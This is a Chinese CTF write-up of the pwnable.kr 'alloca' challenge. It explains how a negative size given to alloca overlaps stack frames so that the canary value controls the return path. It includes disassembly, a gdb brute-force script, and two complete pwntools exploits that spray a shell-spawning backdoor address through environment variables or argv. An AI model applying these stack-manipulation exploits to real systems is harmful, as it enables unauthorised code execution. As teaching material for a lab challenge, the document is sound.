pwnable.kr alloca详细分析
主要是别人的一篇文章,我自己改了一些,加了一点自己做题遇到的问题。
转载说明
本文由Kir[A]原创发布\
出处: https://www.anquanke.com/post/id/170288\
发布时间:2019-01-29 11:15:56
源代码
题目提供了一个alloca二进制文件,以及程序的源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void callme(){
system("/bin/sh");
}
void clear_newlines(){
int c;
do { c = getchar(); } while (c != 'n' && c != EOF);
}
int g_canary;
int check_canary(int canary){
int result = canary ^ g_canary;
int canary_after = canary;
int canary_before = g_canary;
printf("canary before using buffer : %dn", canary_before);
printf("canary after using buffer : %dnn", canary_after);
if (result != 0)
printf("what the ....??? how did you messed this buffer????n");
else
printf("I told you so. its trivially easy to prevent BOF :)n");
return result;
}
int size;
char* buffer;
int main(){
printf("- whats the maximum length of your buffer?(byte) : ");
scanf("%d", &size);
clear_newlines();
printf("- give me your random canary number to prove there is no BOF : ");
scanf("%d", &g_canary);
clear_newlines();
printf("- now, lets put canary at the end of the buffer and get your datan");
buffer = alloca( size + 4 ); // 4 is for canary
memcpy(buffer+size, &g_canary, 4); // canary will detect overflow.
fgets(buffer, size, stdin); // there is no way you can exploit this.
printf("- now lets check canary to see if there was overflownn");
check_canary( *((int*)(buffer+size)) );
return 0;
}
程序模仿 canary 的原理,使用 alloca 开辟栈空间后,在 buffer 后面加 4 字节的 g_canary ,同时在 check_canary 中检查栈中的 canary 是否被修改。程序里面也预留了一个 callme 的后门。
alloca 函数
先看一下本题关键函数 alloca 是什么东东。alloca 跟 malloc/calloc/realloc 类似,都是内存分配函数。
但是它是在当前函数的栈帧上分配存储空间,而不是在堆中。当函数返回时会自动释放它所使用的栈帧,不必为释放空间而费心。
漏洞分析
程序只开了 NX 保护。下面我们来在 IDA 看看伪源码。和给出的源码基本一致,但是有一处不太一样,代码如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
v3 = alloca(16 * ((size + 34) / 0x10u));
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
*(_DWORD *)&buffer[size] = g_canary;
fgets(buffer, size, stdin);
...
return 0;
}
查看该处的汇编指令。
v3 = alloca(16 * ((size + 34) / 0x10u));
.text:08048742 add esp, 10h
.text:08048745 mov eax, ds:size
.text:0804874A add eax, 4
.text:0804874D lea edx, [eax+0Fh]
.text:08048750 mov eax, 10h
.text:08048755 sub eax, 1
.text:08048758 add eax, edx
.text:0804875A mov ecx, 10h
.text:0804875F mov edx, 0
.text:08048764 div ecx
.text:08048766 imul eax, 10h // 这一段都是计算要抬高多少空间
.text:08048769 sub esp, eax // 此处是抬高 esp,让出空间
buffer = (char *)(16 * (((unsigned int)&retaddr + 3) >> 4));
.text:0804876B mov eax, esp
.text:0804876D add eax, 0Fh
.text:08048770 shr eax, 4
.text:08048773 shl eax, 4
.text:08048776 mov ds:buffer, eax
可以看到这是
alloca 开辟栈空间时进行了对齐,重点要留意下对 esp 进行操作的代码。正常来说,这里分配栈空间的逻辑实现是没问题的,但是程序使用 scanf("%d", &size); 读入 size。如果我们输入的是一个负数呢?那么
esp就会降低,分配的栈空间地址会与程序已使用的栈空间重合。
我们要如何利用这个漏洞呢,继续看一下 main 函数结尾部分的汇编
.text:08048824 call check_canary
.text:08048829 add esp, 10h
.text:0804882C mov eax, 0
.text:08048831 mov ecx, [ebp-4]
.text:08048834 leave
.text:08048835 lea esp, [ecx-4]
.text:08048838 retn
可以看到程序
ret 前,ecx-4 的值赋给 esp,而 ecx 的值等于 [ebp-4],那么只要我们能控制 [ebp-4],就能控制程序流。程序有三个输入点:
- 输入
buff的 size - 输入
g_canary - 输入
buff的内容
由于我们输入的 size 是负数,实际上 fgets(buffer, size, stdin) 是无法读入字符
那么唯一可控的输入点只有 g_canary,那么目标很明确了,就是 [ebp-4] = shell_pointer+4,这样返回时 ecx=shell_pointer+4, esp=shell_pointer,所以 esp-->shell,这样执行 retq 之后就成功转入 shell。
需要在程序里面找一下哪里有将 g_canary 写到栈中的操作。
失败的尝试一
首先想到的是 main 函数的赋值,即 memcpy(buffer+size, &g_canary, 4)。
.text:080487BE add esp, 10h
.text:080487C1 mov eax, ds:buffer
.text:080487C6 mov edx, ds:size
.text:080487CC add edx, eax
.text:080487CE mov eax, ds:g_canary
.text:080487D3 mov [edx], eax
肯定是想法设法让
buffer+size 指向 ebp-4,但是最后我发现无论怎么样都会失败,即使 size 为负数,虽然这样可以让 buffer 指向 ebp 附件的位置,但是只要加上 size 就会回到正常位置。
经过思考,发现原因: buffer 是通过 buffer = alloca( size + 4 ); 得来的,然后通过 memcpy(buffer+size, &g_canary, 4),这不就又回去了吗!相当于减去一个 size,然后又加上了一个 size。
所以无论如何 buffer+size 始终会是正常的位置,不可能是 ebp-4!
成功的尝试二
然后就是本篇转载的文章了,不知道是怎么想到的,它想到了是 check_canary 函数的赋值
.text:080485E1 check_canary proc near
.text:080485E1 000 push ebp
.text:080485E2 004 mov ebp, esp
.text:080485E4 004 sub esp, 18h
.text:080485E7 01C mov eax, ds:g_canary
.text:080485EC 01C xor eax, [ebp+0x8]
.text:080485EF 01C mov [ebp-0x0c], eax
.text:080485F2 01C mov eax, [ebp+0x8]
.text:080485F5 01C mov [ebp-0x10], eax
.text:080485F8 01C mov eax, ds:g_canary
.text:080485FD 01C mov [ebp-0x14], eax
最后一行这里有一个将
g_canary 写到栈中的操作,现在如何计算输入的 size 是本题解题的关键所在。这里有两种方式,第一种是转载文章的手工计算,第二种是我自己写的暴力计算。
手工计算
我们从这里根据 esp 和 ebp 的值开始反推出 size 的值。
.text:080485E1 check_canary proc near
.text:080485E1 000 push ebp
.text:080485E2 004 mov ebp, esp
.text:080485E4 004 sub esp, 18h
.text:080485E7 01C mov eax, ds:g_canary
.text:080485EC 01C xor eax, [ebp+0x8]
.text:080485EF 01C mov [ebp-0x0c], eax
.text:080485F2 01C mov eax, [ebp+0x8]
.text:080485F5 01C mov [ebp-0x10], eax
.text:080485F8 01C mov eax, ds:g_canary
.text:080485FD 01C mov [ebp-0x14], eax
- 根据 0x80485FD 赋值的代码,有此时
[ebp-0x14] = g_canary - 根据 0x80485E2 的
mov ebp, esp,那么有此时[esp-0x14] = g_canary - 根据 0x80485E1 的
push ebp,那么有此时[esp-0x18] = g_canary
; check_canary(*(_DWORD *)&buffer[size]);
.text:08048811 mov eax, ds:buffer
.text:08048816 mov edx, ds:size
.text:0804881C add eax, edx
.text:0804881E mov eax, [eax]
.text:08048820 sub esp, 0Ch
.text:08048823 push eax
.text:08048824 call check_canary
- 根据 0x8048824 的
call check_canary,那么有此时[esp-0x1c] = g_canary - 根据 0x8048823 的
push eax,那么有此时[esp-0x20] = g_canary - 根据 0x8048820 的
sub esp, 0ch,那么有此时[esp-0x2c] = g_canary
; v3 = alloca(16 * ((size + 34) / 0x10u));
.text:08048742 add esp, 10h
.text:08048745 mov eax, ds:size
.text:0804874A add eax, 4
.text:0804874D lea edx, [eax+0Fh]
.text:08048750 mov eax, 10h
.text:08048755 sub eax, 1
.text:08048758 add eax, edx
.text:0804875A mov ecx, 10h
.text:0804875F mov edx, 0
.text:08048764 div ecx
.text:08048766 imul eax, 10h
.text:08048769 sub esp, eax
- 这一段就是
alloc实现,eax为16 * ((size + 34) / 0x10u),可以暂不考虑对齐问题,得到此时[esp-0x2c-(size+34)] = [esp-size-78] = g_canary
.text:08048663 lea ecx, [esp+4]
.text:08048667 and esp, 0FFFFFFF0h
.text:0804866A push dword ptr [ecx-4]
.text:0804866D push ebp
.text:0804866E mov ebp, esp
.text:08048670 push ecx
.text:08048671 sub esp, 4
- 计算可得,0x804866E 时,此时
[ebp-size-86] = g_canary
因为我们的目的是 [ebp-4] = shell_pointer+4,因此 g_canary=shell_pointer+4 且 [ebp-4]=[ebp-size-86],所以得到 size = -82。
当然因为没有考虑对齐问题,其实 size 为 -67 到 -82 都可以,只要 (size+34)/16=-3 即可。
暴力求解
我的方法就很纯粹了,因为手工计算这个很有可能计算半天还是错的,这就太尴尬了。
我的方法是每次 gdb 调试这个程序,输入猜测的 size,因为在 gdb 中,所以可以得到 main 函数的 ebp 和 g_canary 写入的地址,然后比对一下他们是否一样。
当然肯定不是手动 gdb,写一个脚本,猜测的 size 值从小到大试就完事了,代码如下,这个是我在 pwnable.kr 它的网站上运行的,所以 gdb 的行为不一样(主要是大部分 gdb 输出彩色,它这个不输出彩色),所以不是拿来就能用,需要自己去调整。
from pwn import *
results = []
for i in range(-100, -1):
print(i)
sh = process(['gdb', '/home/alloca/alloca'])
sh.recvuntil('(gdb) ')
sh.sendline('b *0x08048831')
sh.recvuntil('(gdb) ')
sh.sendline('b *0x080485FD')
sh.recvuntil('(gdb) ')
sh.sendline('r')
sh.sendline(str(i))
sh.sendline('176')
sh.recvuntil('(gdb) ')
sh.sendline('p $ebp')
canary_pos_byte = sh.recvuntil('(gdb) ').split(b' ')[4][:-6]
sh.sendline('c')
sh.recvuntil('(gdb) ')
sh.sendline('p $ebp')
ebp_byte = sh.recvuntil('(gdb) ').split(b' ')[4][:-6]
canary_pos = int(canary_pos_byte, 16) - 0x14
ebp = int(ebp_byte, 16) - 0x4
print(hex(canary_pos))
print(hex(ebp))
if (canary_pos == ebp):
results.append(i)
sh.close()
print(results)
SHELL_pointer
现在的问题就是这个 shell_pointer 在哪?这个 shell 我们已经找到了,就是 callme 后门,那么哪块内存里面存着 callme 的地址呢?这就需要用到 Spray 的思想,tiny_easy 那道题也是这样。利用环境变量或者参数变量写入大量的 callme 地址即可。
完整 exp
利用环境变量,这个是别人的。他这个需要每次交互才行,不太好。
from pwn import *
callme = p32(0x080485ab)
envs = {str(i): callme*30000 for i in range(10)}
for i in range(0x100):
try:
r = process('/home/alloca/alloca', env=envs)
r.sendline('-82')
r.sendline('-4718592')
r.interactive()
except EOFError:
continue
利用参数变量,这个是我自己写的。我这个就可以直接挂在那里让他跑就完事了。
from pwn import *
_argv = ['./alloca']
callme = p32(0x80485ab) * 0x500
stack_addr = -4718592
for i in range(0x100):
_argv.append(callme)
for i in range(0x100):
print(i)
try:
p = process(_argv)
p.recvuntil('- simple right?. let me show you.\n')
p.sendline('-80')
p.sendline(str(stack_addr))
p.recvuntil('- ok lets allocate a buffer of length -80\n\n')
p.recvuntil('what the f...??? how did you messed this buffer????\n')
p.sendline('ls')
print(p.recv(1024))
p.interactive()
break
except:
p.close()
continue
由于 stack 空间地址随机,需要多试几次才能成功。
总结
- 输入一定要考虑输负数会发生什么
- 对于每个函数,必须要看它的汇编代码,看看它是如何返回的,有些利用了
ecx这些寄存器,就有可能有漏洞 - Spray 思想要想到